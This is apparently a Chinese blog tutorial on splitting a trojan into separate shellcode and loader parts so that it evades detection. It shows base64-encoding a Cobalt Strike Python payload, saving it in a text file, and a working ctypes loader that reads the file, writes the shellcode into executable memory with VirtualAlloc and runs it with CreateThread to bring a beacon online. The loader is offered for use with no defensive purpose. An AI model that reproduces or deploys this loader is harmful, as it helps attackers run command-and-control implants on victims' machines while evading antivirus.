无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
yunwei373 小时前
实证研究:AI Agent 规则需要上下文与分层强制执行
linux·安全·ai编程
kp000004 小时前
System Prompt Leakage(系统提示词泄露)及安全防御
网络·安全·网络安全·信息安全·prompt·ai安全
数据知道5 小时前
网络地址转换(NAT)与安全:映射原理、打洞与内网暴露风险
网络·安全·智能路由器·内网安全
kali-Myon7 小时前
深入 MySQL 内核:从临时哈希表分配机制详解 Floor 报错注入核心原理
数据库·sql·mysql·安全·web
Thecozzy8 小时前
游戏后端线上事故复盘
安全
kp000008 小时前
AI系统输入安全基线
人工智能·安全·网络安全·信息安全·ai安全
解局易否结局9 小时前
鸿蒙 PC 应用开发实战:文件系统与沙箱安全存储
安全·华为·harmonyos
拉格朗日(Lagrange)9 小时前
【CISP】信息安全评估全解析
安全
解局易否结局9 小时前
鸿蒙原生开发实战|Native 加密与安全:NAPI + OpenSSL 构建全栈密文服务
安全·华为·harmonyos
guoheng9 小时前
我们用 RealVuln 测试了 AI 代码扫描工具:召回率、精确率与误报对比
安全·架构